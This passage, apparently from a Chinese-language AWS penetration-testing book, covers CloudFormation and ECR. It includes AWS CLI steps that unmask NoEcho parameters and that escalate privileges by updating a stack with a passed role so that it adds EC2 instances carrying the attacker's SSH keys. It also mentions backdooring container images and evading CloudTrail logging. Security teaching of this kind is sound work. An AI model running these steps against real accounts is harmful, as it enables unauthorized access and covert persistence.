我们希望找到一些敏感信息被传递到参数中,然后我们可以使用它来进一步访问环境。如果遵循最佳实践,那么理想情况下我们不应该能够在堆栈的参数值中找到任何敏感信息,但我们发现最佳实践并不总是被遵循,某些敏感值偶尔会被漏掉。最佳实践是在定义 CloudFormation 模板中的参数时使用NoEcho属性,这可以防止传递给该参数的值被回显给运行DescribeStacks API 调用的任何人。如果使用NoEcho并将其设置为true,那么在描述堆栈时该参数仍将显示在Parameters下,但其值将被用几个"*"字符进行屏蔽。

对于我们为此演示创建的堆栈,返回以下参数:

"Parameters": [
    {
        "ParameterKey": "KeyName",
        "ParameterValue": "MySSHKey"
    },
    {
        "ParameterKey": "DBPassword",
        "ParameterValue": "aPassword2!"
    },
    {
        "ParameterKey": "SSHLocation",
        "ParameterValue": "0.0.0.0/0"
    },
    {
        "ParameterKey": "DBName",
        "ParameterValue": "CustomerDatabase"
    },
    {
        "ParameterKey": "DBUser",
        "ParameterValue": "****"
    },
    {
        "ParameterKey": "DBRootPassword",
        "ParameterValue": "aRootPassW0rd@1!"
    },
    {
        "ParameterKey": "InstanceType",
        "ParameterValue": "t2.small"
    }
]

从这些信息中我们可以得出一些不同的东西。一些基本的信息收集让我们看到有一个名为"MySSHKey"的 SSH 密钥正在使用,允许从"0.0.0.0/0"进行 SSH 访问,有一个名为"CustomerDatabase"的数据库,以及一个"t2.small"类型的 EC2 实例。除此之外,我们还看到一些数据库密码和数据库用户名。

我们可以看到DBUser的值为"****",这很可能意味着DBUser参数已经将"NoEcho"设置为true,因此在尝试从中读取时其值将被屏蔽。DBUser的值也可能是"****",但可以通过查看堆栈的模板来轻松确认这一点,我们可以在那里审查为DBUser参数设置的约束和属性。

由于"DBPassword""DBRootPassword"下的明文值,我们知道设计这个 CloudFormation 模板的人犯了一些错误。他们忘记为这两个参数设置"NoEcho",因此每当有人描述当前堆栈时,明文密码都会被返回。这对我们攻击者来说是好事,因为现在我们有了常规数据库用户和数据库根用户的明文密码。我们可以再次分析模板,找出这个数据库可能在哪里或者我们如何访问它,但我们稍后会到达那里。

除了明文密码之外,我们还看到"SSHLocation"被设置为0.0.0.0/0,我们可以假设这意味着某个服务器被设置为允许来自该 IP 范围的 SSH 访问,这意味着任何人都可以访问 SSH 服务器,因为0.0.0.0/0代表所有存在的 IPv4 地址。这对我们来说也是有用的信息,因为也许我们将能够利用服务器上过时的 SSH 软件来获取访问权限或类似的东西。

输出值

接下来,我们将要检查在之前描述 CloudFormation 堆栈时在Outputs下的值。我们正在查看与"Parameters"中基本相同的东西,但这些值是在堆栈创建过程中生成的。同样,我们要寻找敏感信息。对于某些堆栈可能没有输出值,因此如果遇到这种情况,我们在演示的这部分中就没有什么可看的了。在我们的演示中,当我们描述它时,这是显示在堆栈的Outputs部分下的内容:

"Outputs": [
    {
        "OutputKey": "WebsiteURL",
        "OutputValue": "http://ec2-34-221-86-204.us-west-2.compute.amazonaws.com",
        "Description": "URL for newly created LAMP stack"
    }
]

正如我们所看到的,这里没有太敏感的东西,但它确实给了我们一个 EC2 实例的公共端点,很可能是在创建堆栈时创建的。鉴于"SSHLocation"参数被设置为0.0.0.0/0,我们很可能会在这台服务器上找到一个开放的 SSH 端口(22)。我们可以使用nmap运行服务扫描(-sV)来验证这一点:

22 端口被发现是开放的,并且运行着 OpenSSH 版本 7.4

我们已经验证了服务器上有一个开放的 SSH 端口,就像我们预期的那样。仅通过查看 CloudFormation 堆栈的输出值,我们就能够识别出这个 EC2 实例的公共端点,该端点的端口22是“开放”的,运行着一个 SSH 服务器。

输出值可能包含敏感信息,例如凭据或 API 密钥。例如,当模板需要为新的 IAM 用户创建一组访问密钥时,这可能会发生。然后,这些访问密钥可能会显示在堆栈的输出值中,因为在创建堆栈后,用户需要某种方式来访问它们(https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/quickref-iam.html#scenario-iam-accesskey)。这些密钥可能会使我们能够进一步访问环境,以期提升我们已有的权限。

奖励-发现 NoEcho 参数的值

正如我们之前讨论的那样,使用参数上的NoEcho属性可以防止在使用 DescribeStacks API 时显示其值,以便敏感值不会暴露给可以调用该 API 的任何用户。有时(大多数情况下),具有NoEcho属性设置为true的值对我们作为攻击者可能是有用的,因为通常它们可能是密码或 API 密钥。但并非一无所获,因为在拥有适当权限的情况下,您可以揭示用于部署账户中存在的 CloudFormation 堆栈的那些参数的值。

为此,您至少需要具有cloudformation:UpdateStack权限。如果我们想要从先前提到的演示堆栈中揭示NoEcho参数DBUser,我们首先需要使用GetTemplateAPI 命令下载该堆栈的模板。如果我们没有GetTemplate权限,我们可以创建自己的模板,但这实际上会删除堆栈创建的每个资源,而我们没有包含在自定义模板中,因此我们不会涉及到这一点。

将模板保存到当前目录中的template.json中,然后就像前一节一样,创建包含以下数据的params.json

[
    {
        "ParameterKey": "KeyName",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBPassword",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBUser",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBRootPassword",
        "UsePreviousValue": true
    }
]

这样我们就可以更新堆栈的模板,而不修改已传递的参数的值,包括"DBUser"

然后,需要做的就是删除DBUser参数上的"NoEcho"属性,或将其设置为false。此时,如果我们尝试更新堆栈,我们可能会收到以下消息:

An error occurred (ValidationError) when calling the UpdateStack operation: No updates are to be performed.

这是因为 CloudFormation 没有识别"NoEcho"参数对DBUser的删除/更改。最简单的方法就是在模板的某个地方更改一些字符串。确保不会引起任何问题,比如在某些代码的注释中添加一个空格之类的。确保不要将其插入到某些配置中,这样在重新部署资源时不会引起任何问题。然后,我们可以运行与之前相同的命令来使用这个新模板更新堆栈:

aws cloudformation update-stack --stack-name Test-Lamp-Stack --region us-west-2 --template-body file://template.json --parameters file://params.json

现在,一旦堆栈更新完成,我们应该能够再次描述堆栈,并且可以访问之前在创建堆栈时输入的未经审查的值:

{
  "ParameterKey": "DBUser",
  "ParameterValue": "admin"
}

从运行 DescribeStacks 的部分输出中可以看出,"DBUser"的值已经被解除掩码,并且显示它被设置为"admin"的值。我们做到了所有这些,并且在不对环境造成任何干扰的情况下发现了秘密值,所以这对我们来说是双赢的。

终止保护

终止保护是一种可以启用的设置,它阻止 CloudFormation 堆栈被删除。要删除启用了终止保护的堆栈,您首先需要禁用它,然后尝试删除堆栈,这需要一组不同的权限,您可能没有这些权限。通常最好在 CloudFormation 堆栈上启用终止保护,因此,尽管它不会直接影响我们作为攻击者(除非我们试图删除所有内容),但检查每个堆栈的终止保护并将其作为环境中的潜在错误配置是很好的做法。要检查此值,我们仍然使用DescribeStacks API,但它要求我们在 API 调用中明确命名堆栈。我们的演示堆栈名为Test-Lamp-Stack,因此要确定该堆栈的终止保护设置,我们可以运行以下 AWS CLI 命令:

aws cloudformation describe-stacks --stack-name Test-Lamp-Stack --region us-west-2

结果应该与我们之前看到的类似,但它们将包括EnableTerminationProtection键,该键设置为truefalse,指定了是否启用了终止保护。

删除的堆栈

CloudFormation 还允许您检查已删除的堆栈,但在 CLI 上的过程有点不同。从 AWS Web 控制台 CloudFormation 堆栈页面,有一个下拉框,允许您显示所有已删除的堆栈,就像下面的截图所示:

在 AWS Web 控制台上列出已删除的 CloudFormation 堆栈

从 CLI,我们首先需要运行 CloudFormation ListStacks命令,使用 AWS CLI 看起来像这样:

aws cloudformation list-stacks --region us-west-2

该命令将提供与DescribeStacks命令类似的输出,但它不太冗长。ListStacks命令还包括已删除的 CloudFormation 堆栈,可以通过查看特定堆栈的 StackStatus 键来识别,其中值将为DELETE_COMPLETE

要获取有关已删除堆栈的更多详细信息,我们必须明确地将它们传递到DescribeStacks命令中。与活动堆栈不同,已删除的堆栈不能通过它们的名称引用,只能通过它们的唯一堆栈 ID 引用。唯一的堆栈 ID 只是ListStacks输出中"StackId"键下的值。它将是一个类似于这样格式的 ARN:

arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836

然后我们可以运行DescribeStacks命令,并将该值传递给--stack-name参数,就像这样:

aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836 --region us-west-2

该命令的输出应该看起来很熟悉,我们现在可以查看与已删除堆栈相关联的参数值和输出值。检查已删除的堆栈是否包含秘密信息非常重要,其中一个原因是,删除堆栈的原因可能是开发人员犯了错误,意外地暴露了敏感信息或类似情况。

导出

CloudFormation 导出允许您在不必担心引用其他堆栈的情况下共享输出值。任何导出的值也将存储在导出它的堆栈的"outputs"下,因此,如果您查看每个活动和已删除堆栈的输出值,您已经查看了导出。查看聚合导出列表可能会有所帮助,以查看每个堆栈可用的信息类型。这可能会更容易了解目标环境和/或 CloudFormation 堆栈的用例。要检索这些数据,我们可以使用 AWS CLI 的ListExports命令:

aws cloudformation list-exports --region us-west-2

输出将告诉您每个导出的名称和值以及导出它的堆栈。

模板

现在我们想查看用于创建我们看到的 CloudFormation 堆栈的实际模板。我们可以使用 CloudFormation GetTemplate命令来实现这一点。此命令的工作方式类似于DescribeStacks命令,我们可以将模板名称传递给--stack-name参数,以检索该特定堆栈的模板。如果要检索已删除堆栈的模板,也需要指定唯一的堆栈 ID 而不是名称。要获取我们的演示堆栈的模板,我们可以运行以下 AWS CLI 命令:

aws cloudformation get-template --stack-name Test-Lamp-Stack --region us-west-2

响应应包括用于创建我们命名的堆栈的 JSON/YAML 模板。

现在我们可以做一些事情,但手动检查模板是最有效的。在开始手动检查之前,对模板本身运行安全扫描可能是有用的,以尝试发现其中指定的资产中的任何安全风险。为此创建的一些工具旨在在持续集成CI)/ 持续部署CD)环境中设置和使用,例如 Skyscanner 的"cfripper"github.com/Skyscanner/cfripper/)。在此示例中,我们将使用 Stelligent 的"cfn_nag"github.com/stelligent/cfn_nag),它也可以针对包含 CloudFormation 模板的单个文件/目录运行。这些工具通常不会捕捉所有内容,但它们可以帮助识别某些不安全的配置。

要使用cfn_nag(在撰写本文时,这可能会随着工具的更新而改变),我们将假设已安装 Ruby 2.2.x,因此我们可以使用以下命令安装cfn_nag gem:

gem install cfn-nag

然后,我们可以将从 AWS API 检索到的模板保存到文件中,例如template.jsontemplate.yaml,具体取决于您的模板类型。对于我们的演示,我们将其保存到template.json,因此我们可以运行以下命令来扫描模板:

cfn_nag_scan --input-path ./template.json

输出应该看起来像这样:

使用 cfn_nag 扫描我们的 CloudFormation 模板的结果

输出显示,我们扫描的模板输出了1个失败和2个警告。所有三个都与"WebServerSecurityGroup"及其入站/出站规则集相关联。两个警告是关于允许通过该安全组的入站规则过于宽松,但如果该安全组还定义了 SSH 入站规则,那么这两个警告出现是有道理的。这是因为我们知道允许从0.0.0.0/0范围访问 SSH 入站,这不是/32 IP 范围,这意味着允许世界访问。即使有了这些信息,手动检查仍然是值得的。

cfn_nag报告的失败可能在找到一种妥协 EC2 实例的方法之前是无关紧要的,然后我们将开始关心设置了什么出站访问规则。鉴于cfn_nag没有指定规则,这意味着允许所有出站互联网访问,我们不需要担心。

扫描模板后,很可能是时候进行手动检查了。手动检查将为我们提供有关模板设置的资源的大量信息,可能会发现存储在其中的其他敏感信息。在我们喜爱的文本编辑器中打开模板后,我们可以考虑一些事情。我们应该再次检查参数,看看是否有任何硬编码的敏感默认值,但也因为我们可能可以得到有关该参数的确切描述。

正如我们之前预期的那样,查看"SSHLocation"参数,我们可以看到有一个描述,说明可以用于 SSH 到 EC2 实例的 IP 地址范围。我们之前的猜测是正确的,但这是确认这类事情的好方法。"Default"键包含"0.0.0.0/0"值,这意味着我们一直在查看的堆栈正在使用"SSHLocation"参数的默认值。也许我们可以在某些情况下在模板中找到默认密码或 IP 地址的硬编码。

接下来,我们将要检查此模板中定义的资源。在这里,有各种可能遇到的事情。其中一个例子是为创建的 EC2 实例启动脚本。我们可以阅读这些内容,寻找任何敏感信息,同时了解这个堆栈部署的环境的设置/架构。

我们用于堆栈的模板有一些设置脚本,似乎是设置了一个 MySQL 数据库和一个 PHP Web 服务器。理想情况下,我们可以访问其中一个或两个,因此我们可以滚动到之前cfn_nag标记的"WebServerSecurityGroup",我们看到以下内容:

"WebServerSecurityGroup" : {
  "Type" : "AWS::EC2::SecurityGroup",
  "Properties" : {
    "GroupDescription" : "Enable HTTP access via port 80",
    "SecurityGroupIngress" : [
      {"IpProtocol" : "tcp", "FromPort" : "80", "ToPort" : "80", "CidrIp" : "0.0.0.0/0"},
      {"IpProtocol" : "tcp", "FromPort" : "22", "ToPort" : "22", "CidrIp" : { "Ref" : "SSHLocation"}}
    ]
  }
}

这告诉我们 Web 服务器安全组允许从任何 IP 地址(0.0.0.0/0)对端口80进行入站访问,并允许从"SSHLocation"参数对端口22进行入站访问,我们知道"SSHLocation"参数也设置为0.0.0.0/0。现在我们可以回到之前检查这个堆栈的输出值,再次获取服务器的主机名,现在我们知道端口80是开放的。如果我们在浏览器中导航到该 URL(ec2-34-221-86-204.us-west-2.compute.amazonaws.com/),我们将看到以下页面:

由 CloudFormation 堆栈部署的 EC2 实例上托管的 Web 服务器

除了我们刚刚做的事情之外,CloudFormation 模板可以被检查以确定堆栈部署的各种资源的设置,这可以帮助我们识别资源、错误配置、硬编码的秘密等,而无需具有授予对这些实际资源访问权限的 AWS 权限。

通过的角色

创建 CloudFormation 堆栈时,有一个选项可以为其传递 IAM 角色进行部署过程。如果传递了角色,则将使用该角色创建堆栈,但如果没有传递角色,则 CloudFormation 将只使用当前用户的权限来部署堆栈。这打开了通过已经在创建时传递了角色的堆栈进行权限提升的可能性。

假设我们被入侵的用户具有"cloudformation:*"权限,但没有"iam:PassRole"权限。这意味着我们无法通过创建一个新的堆栈并传递给它比我们拥有的更高权限的角色来提升我们的权限(因为这需要"iam:PassRole"权限),但这意味着我们可以修改现有的堆栈。

要确定是否有 CloudFormation 堆栈已经传递了角色,我们可以回到DescribeStacks命令的输出。如果一个堆栈具有"RoleARN"键,并且其值是 IAM 角色的 ARN,则该堆栈已经传递了一个角色。如果该键没有显示,则在创建时该堆栈没有传递角色。我们创建的演示堆栈已经传递了一个角色。

现在,如果我们有必要的 IAM 权限,我们可以使用 IAM API 来确定传递给该堆栈的角色具有哪些权限,但如果没有,我们可以根据一些不同的事情进行推断。首先,角色的名称可能是一个小提示,比如如果它包括"EC2FullAccessForCloudFormation",那么可以安全地假设该角色对 EC2 具有完全访问权限。更可靠但不一定完整的权限集可以根据堆栈部署的资源进行推断。如果某个堆栈部署了一个 EC2 实例,为其创建了安全组,创建了一个 S3 存储桶,并设置了一个 RDS 数据库,那么可以安全地假设该角色有权执行所有这些操作。在我们的情况下,这比"cloudformation:*"更多地访问了 AWS API,因此我们可以滥用该堆栈来进一步访问环境。

有几种方法可以检查,包括仅查看我们之前查看的原始 CloudFormation 模板,或者我们可以使用DescribeStackResources命令列出该堆栈创建的资源,然后从那里进行我们的访问假设。这可以通过从 AWS CLI 运行以下命令来完成:

aws cloudformation describe-stack-resources --stack-name Test-Lamp-Stack --region us-west-2

我们的演示堆栈的输出如下:

{
    "StackResources": [
        {
            "StackName": "Test-Lamp-Stack",
            "StackId": "arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836",
            "LogicalResourceId": "WebServerInstance",
            "PhysicalResourceId": "i-0caa63d9f77b06d90",
            "ResourceType": "AWS::EC2::Instance",
            "Timestamp": "2018-12-26T18:55:59.189Z",
            "ResourceStatus": "CREATE_COMPLETE",
            "DriftInformation": {
                "StackResourceDriftStatus": "NOT_CHECKED"
            }
        },
        {
            "StackName": "Test-Lamp-Stack",
            "StackId": "arn:aws:cloudformation:us-west-2:000000000000:stack/Deleted-Test-Lamp-Stack/23801r22-906h-53a0-pao3-74yre1420836",
            "LogicalResourceId": "WebServerSecurityGroup",
            "PhysicalResourceId": "Test-Lamp-Stack-WebServerSecurityGroup-RA2RW6FRBYXX",
            "ResourceType": "AWS::EC2::SecurityGroup",
            "Timestamp": "2018-12-26T18:54:39.981Z",
            "ResourceStatus": "CREATE_COMPLETE",
            "DriftInformation": {
                "StackResourceDriftStatus": "NOT_CHECKED"
            }
        }
    ]
}

我们可以看到这里创建了一个 EC2 实例和一个 EC2 安全组,因此我们可以假设附加到该堆栈的角色至少具有执行这两项操作的权限。然后,为了利用这些权限并提升我们自己的权限,我们可以使用UpdateStack命令。这允许我们更新/更改与我们正在定位的堆栈相关联的模板,从而允许我们添加/删除资源到列表中。为了在环境中造成较小的干扰,我们可以从堆栈中提取现有模板,然后只向其中添加资源,以尽可能少地造成干扰。这是因为未更改的现有资源将不会被修改,因此我们不会造成拒绝服务。

在这一点上,下一步取决于情况。如果发现某个堆栈具有 IAM 权限,可以向模板添加一些 IAM 资源,以允许您提升访问权限,或者如果发现某个堆栈具有 EC2 权限,就像我们在这里所做的那样,可以添加一堆带有您自己 SSH 密钥的 EC2 实例。如果我们继续向我们的演示堆栈添加一些 EC2 实例,可能会获得对它们用于这些资源的 VPC 内部的访问权限,然后可能会进一步授予我们对环境的更高特权访问。

执行此攻击的示例命令可能如下所示:

aws cloudformation update-stack --stack-name Test-Lamp-Stack --region us-west-2 --template-body file://template.json --parameters file://params.json

template.json文件将包括您更新的 CloudFormation 模板,params.json将包括一些指示堆栈使用所有已提供的参数而不是新参数的内容:

[
    {
        "ParameterKey": "KeyName",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBPassword",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBUser",
        "UsePreviousValue": true
    },
    {
        "ParameterKey": "DBRootPassword",
        "UsePreviousValue": true
    }
]

现在,堆栈将更新并创建您的新资源,您将成功地使用传递的角色权限在 AWS 中执行 API 操作,有效地提升了自己的权限。

弹性容器注册表(ECR)

ECR 被描述为一个完全托管的 Docker 容器注册表,使开发人员可以轻松存储、管理和部署 Docker 容器映像(aws.amazon.com/ecr/)。它使用的权限模型可以允许一些令人讨厌的错误配置,如果存储库没有正确设置,主要是因为按设计,ECR 存储库可以被设置为公共或与其他帐户共享。这意味着,即使我们只有少量访问权限,错误配置的存储库也可能根据其托管的 Docker 映像中存储的内容,向我们授予对环境的大量访问权限。

如果我们正在针对另一个账户中的公共仓库,那么我们需要的主要信息是仓库所在的账户 ID。有几种获取它的方法。如果您拥有您正在针对的账户的凭据,最简单的方法是使用Simple Token ServiceSTSGetCallerIdentity API,它将为您提供一些包括您的账户 ID 在内的信息。该命令将如下所示:

aws sts get-caller-identity

这种方法的问题在于它被记录到了 CloudTrail 中,并清楚地显示您正在尝试收集有关您的用户/您所在账户的信息,这可能会引起防御者的警觉。还有其他方法,特别是基于 Rhino Security Labs 的研究,他们发布了一个脚本来枚举有关当前账户的少量信息,而不会触及 CloudTrail。这是通过某些服务披露的冗长错误消息来完成的,而这些服务尚不受 CloudTrail 支持,因此没有记录 API 调用的记录,但用户收集了一些信息,包括账户 ID(rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)。

如果您正在针对您已经入侵并使用这些凭据进行这些 API 调用的账户中的仓库,则账户 ID 将无关紧要,因为在大多数情况下它将自动默认为当前账户。我们首先要做的是列出账户中的仓库。这可以通过以下命令完成(如果您正在针对不同的账户,请将账户 ID 传递给--registry-id参数):

aws ecr describe-repositories --region us-west-2

这应该列出当前区域中的仓库,包括它们的 ARN、注册表 ID、名称、URL 以及创建时间。我们的示例返回了以下输出:

{
    "repositories": [
        {
            "repositoryArn": "arn:aws:ecr:us-west-2:000000000000:repository/example-repo",
            "registryId": "000000000000",
            "repositoryName": "example-repo",
            "repositoryUri": "000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo",
            "createdAt": 1545935093.0
       }
    ]
}

然后我们可以使用ListImages命令获取存储在该仓库中的所有镜像。对于我们之前找到的example-repo,它将看起来像这样:

aws ecr list-images --repository-name example-repo --region us-west-2

这个命令将给我们一个镜像列表,包括它们的摘要和镜像标签:

{
    "imageIds": [
        {
            "imageDigest": "sha256:afre1386e3j637213ab22f1a0551ff46t81aa3150cbh3b3a274h3d10a540r268",
            "imageTag": "latest"
        }
    ]
}

现在我们可以(希望)将这个镜像拉到我们的本地机器并运行它,以便我们可以看到里面有什么。我们可以通过运行以下命令来完成这个操作(再次,如果需要,请在--registry-id参数中指定外部账户 ID):

$(aws ecr get-login --no-include-email --region us-west-2)

AWS 命令返回所需的 docker 命令,以便将您登录到目标注册表,并且其中的$()将自动执行该命令并将您登录。运行后,您应该在控制台上看到登录成功的打印输出。接下来,我们可以使用 Docker 来拉取镜像,现在我们已经通过仓库进行了身份验证:

docker pull 000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo:latest

现在 Docker 镜像应该被拉取,并且如果您运行docker images来列出 Docker 镜像,它应该是可用的。

在将其拉下来后,列出example-repo Docker 镜像

接下来,我们将要运行这个镜像,并在其中的 bash shell 中放置自己,这样我们就可以探索文件系统并寻找任何好东西。我们可以通过以下方式来完成这个操作:

docker run -it --entrypoint /bin/bash 000000000000.dkr.ecr.us-west-2.amazonaws.com/example-repo:latest

现在我们的 shell 应该从本地机器切换到 Docker 容器,作为 root 用户:

使用 Docker 运行命令进入我们正在启动的容器中的 bash shell

这是您可以使用常规渗透测试技术搜索操作系统的地方。您应该寻找诸如源代码、配置文件、日志、环境文件或任何听起来有趣的东西。

如果其中任何命令由于授权问题而失败,我们可以继续检查我们所针对的仓库相关的策略。这可以通过GetRepositoryPolicy命令来完成:

aws ecr get-repository-policy --repository-name example-repo --region us-west-2

如果尚未为存储库创建策略,则响应将是错误;否则,它将返回一个指定 AWS 主体可以针对存储库执行什么 ECR 命令的 JSON 策略文档。您可能会发现只有特定帐户或用户能够访问存储库,或者您可能会发现任何人都可以访问它(例如如果允许"*"主体)。

如果您有正确的对 ECR 的推送权限,另一个值得尝试的攻击是在现有图像中植入恶意软件,然后推送更新到存储库,这样任何使用该图像的人都将启动带有您的恶意软件运行的图像。根据目标在幕后使用的工作流程,如果操作正确,可能需要很长时间才能发现其图像中的此类后门。

如果您知道使用这些 Docker 图像部署的应用程序/服务,比如通过弹性容器服务(ECS),那么值得寻找您可能能够外部利用的容器内的漏洞,然后获得对这些服务器的访问权限。为了帮助解决这个问题,使用 Anchore Engine(github.com/anchore/anchore-engine)、Clair(github.com/coreos/clair)或其他许多在线可用工具对各种容器进行静态漏洞分析可能会很有用。这些扫描的结果可以帮助您识别可能能够利用的已知漏洞。

摘要

在攻击 AWS 环境时,重要的是要列出他们正在使用的 AWS 服务的明确清单,因为这可以让您更好地制定攻击计划。除此之外,重要的是要查看部署在所有这些服务上的配置和设置,以找到错误配置和滥用的功能,并希望将它们链接在一起以获得对环境的完全访问权限。

没有服务太小,不值得关注,因为如果您有与它们交互的权限,那么可能在每个 AWS 服务中都存在攻击向量。本章旨在展示一些对一些不太常见的 AWS 服务器的攻击(与 EC2、S3 等相比),并试图表明许多服务都有处理权限的策略文档,比如 SES 身份策略或 ECR 存储库策略。这些服务都可以通过错误配置的策略或通过自己更新来滥用。

在下一章中,我们将研究 CloudTrail,这是 AWS 的中央 API 日志记录服务。我们将看看如何安全地配置您的跟踪,并如何攻击它们作为渗透测试人员进行信息收集,并在试图保持低调时避免被记录。

第六部分:攻击 AWS 日志记录和安全服务

在本节中,我们将介绍 AWS 上的两个主要日志记录和安全监控服务,以及它们各自的规避方法,使它们能够保持低调。本节还将涵盖这些服务的安全配置。

本节将涵盖以下章节:

  • 第十五章,Pentesting CloudTrail

  • 第十六章,GuardDuty

第十五章:渗透测试 CloudTrail

AWS CloudTrail 被描述为一项 AWS 服务,可帮助您启用 AWS 账户的治理、合规性、运营和风险审计(docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html),基本上被宣传为 AWS 账户中 API 活动的中央日志来源。CloudTrail 在某种意义上是一项始终开启的服务,因为它会将读/写 API 操作记录到最近 90 天的日志的不可变存档中,称为 CloudTrail 事件历史。我们将在本章的侦察部分更深入地了解事件历史。

在本章中,我们将研究 CloudTrail 及其为勤勉的 AWS 用户提供的功能。我们还将从渗透测试人员的角度来看待它,涵盖如何审计目标账户中的 CloudTrail 最佳实践,以及如何通过 CloudTrail 对环境进行侦察,如何绕过 CloudTrail 服务以避开监视,以及如何破坏已经存在的任何日志记录机制。这些主题对我们的客户很有益,因为它们可以帮助他们了解环境中的盲点;然而,它们也可以帮助我们发现更多关于攻击目标的信息,而不一定需要直接对他们使用的每个服务进行 API 调用。

在本章中,我们将涵盖以下主题:

  • 设置、最佳实践和审计

  • 侦察

  • 绕过日志记录

  • 破坏跟踪

关于 CloudTrail 的更多信息

尽管 CloudTrail 旨在成为 AWS 账户的中央日志来源,但它的构建方式使一些不良风险暴露在新的 AWS 服务开发中。AWS 的团队正在创建一个新服务,必须创建与他们的服务集成的 CloudTrail,以允许其 API 调用记录到 CloudTrail。此外,由于 AWS 推出新服务和功能的速度很快,有许多服务发布时没有任何对 CloudTrail 的支持。可以在这里找到该列表:docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html。在本章后面,我们将深入探讨滥用不受支持的服务对我们作为攻击者的优势,因为任何不记录到 CloudTrail 的 API 调用对我们作为攻击者来说都是有利的。

CloudTrail 并不是 AWS 账户中日志记录的唯一选项。它汇总了大多数 AWS 服务的日志,但一些服务也提供了它们自己特定类型的日志记录。这些类型的日志包括 S3 存储桶访问日志、弹性负载均衡器访问日志、CloudWatch 日志、VPC 流量日志等。这些其他类型的日志存在是因为它们不像 CloudTrail 那样记录 API 活动,而是记录其他类型的活动,这些活动可能会有用。

在开始 CloudTrail 渗透测试之前,我们将看看如何设置它。

设置、最佳实践和审计

在这一部分,我们将介绍如何设置一个新的 CloudTrail 跟踪,遵循所有推荐的最有效/安全设置的最佳实践。我们将展示使用 AWS Web 控制台的设置步骤,但我们所做的一切也可以通过 AWS CLI 实现,我们将通过 CLI 审计 CloudTrail。

设置

让我们开始设置 CloudTrail,按照以下步骤进行:

  1. 我们要做的第一件事是导航到 AWS Web 控制台中的 CloudTrail 服务,并在主页面上单击“创建跟踪”按钮:

图 1:在 CloudTrail 服务页面上找到“创建跟踪”按钮的位置

  1. 我们将命名我们的跟踪为ExampleTrail,然后页面上呈现给我们的下一个选项是我们将要查看的第一个最佳实践。该选项询问我们是否想要将此跟踪应用于所有区域,最佳实践建议我们选择是,将我的跟踪应用于所有区域。这是因为 CloudTrail 可以基于每个区域运行,所以理论上您需要为每个现有的区域创建一个跟踪。有了这个选项,我们可以创建一个单一的跟踪,监视每个区域的 API 活动,因此我们将始终了解我们的环境,无论活动发生在哪里。

  2. 接下来是“管理事件”部分,我们将选择“全部”。在 AWS 中有两种类型的事件:管理事件和数据事件,其中管理事件基本上是在与 AWS 交互时使用的高级 API,而数据事件可以被视为与 AWS 账户内资源进行交互。数据事件的一个示例是s3:GetObject事件,这将是有人访问 S3 中的对象。我们希望确保所有 API 活动都被记录下来,因此应该选择“全部”来记录管理事件。

  3. 之后,我们现在处于“数据事件”部分。记录数据事件会增加一些成本,因此记录所有读取和写入数据活动可能并不总是正确的决定。此外,如果您只使用单个帐户进行跟踪,并使用一个 S3 存储桶来存储日志,那么通过记录所有 S3 数据事件,实质上您将记录 CloudTrail 正在将日志写入其日志存储桶。因此,出于这个原因,我们将在数据事件下添加一个单独的 S3 存储桶,这将是我们在上一章中创建的bucket-for-lambda-pentesting。在数据事件部分的 Lambda 选项卡下,我们将启用“记录所有当前和未来的调用”,以便我们可以监视所有 Lambda 函数的调用活动:

图 2:我们新跟踪的当前配置

  1. 在存储位置部分,我们将选择“是”以创建一个新的 S3 存储桶,因为我们还没有设置存储日志的存储桶。我们将把它命名为example-for-cloudtrail-logs,然后我们将点击“高级”链接,以展开更多我们想要启用的选项。

  2. 日志文件前缀可以填写或留空,因为这只是为了将一些内容添加到 CloudTrail 日志的路径中,以便更容易识别/分离,如果您有多种类型的日志写入到单个存储桶中。

  3. 我们将选择“是”以使用 SSE-KMS 加密日志文件。

  4. 我们还没有设置 KMS 密钥,因此我们也将选择“是”或“创建新的 KMS 密钥”,并将其命名为CloudTrail-Encryption-Key。这将确保我们所有的 CloudTrail 日志文件在存储在 S3 中时都被加密,如果需要,它还为我们提供了管理权限的能力,以确定谁可以/不能解密这些日志文件,以获得更精细的权限模型:

图 3:我们新跟踪的其余配置

  1. 接下来,我们将选择“是”以启用日志文件验证,这告诉 CloudTrail 在日志旁边也写入摘要文件到 S3 存储桶中,然后可以用来确定自 CloudTrail 将其交付到 S3 存储桶以来,我们的日志文件是否被篡改。这对于确保我们在账户中有一个可信赖的、完整的 API 活动记录非常重要。

  2. 对于最后一个选项“为每个日志文件交付发送 SNS 通知”,我们暂时选择“否”。CloudTrail 日志经常被写入,这可能会导致发送许多 SNS 通知,因此如果您对这些通知感兴趣,最好采取一种策略性的方法来解决这个问题。

  3. 现在我们可以完成并点击右下角的“创建”来创建我们的新跟踪。

现在迹象将被创建和启用,此时它将立即开始发送日志文件和摘要到您的 S3 存储桶,以便读取、验证、导出等。

出于组织原因,您可能需要创建多个迹象,例如一个记录管理事件,一个记录数据事件。通常建议将这些日志发送到另一个账户,因为这样它们将与账户分开,在发生妥协时它们可能会更安全。

审计

现在我们已经完成了设置新的 CloudTrail 迹象的过程,我们可以离开 AWS Web 控制台,转到 AWS CLI,我们将现在介绍如何审计 CloudTrail 以确保遵循所有最佳实践。

首先,我们将要查看目标账户中是否有任何活动的迹象。我们可以使用 CloudTrail 的DescribeTrails API 来实现这一点,该 API 允许我们查看所有 AWS 区域中的迹象,即使它们是由账户的组织管理的。命令将看起来像这样:

 aws cloudtrail describe-trails --include-shadow-trails 

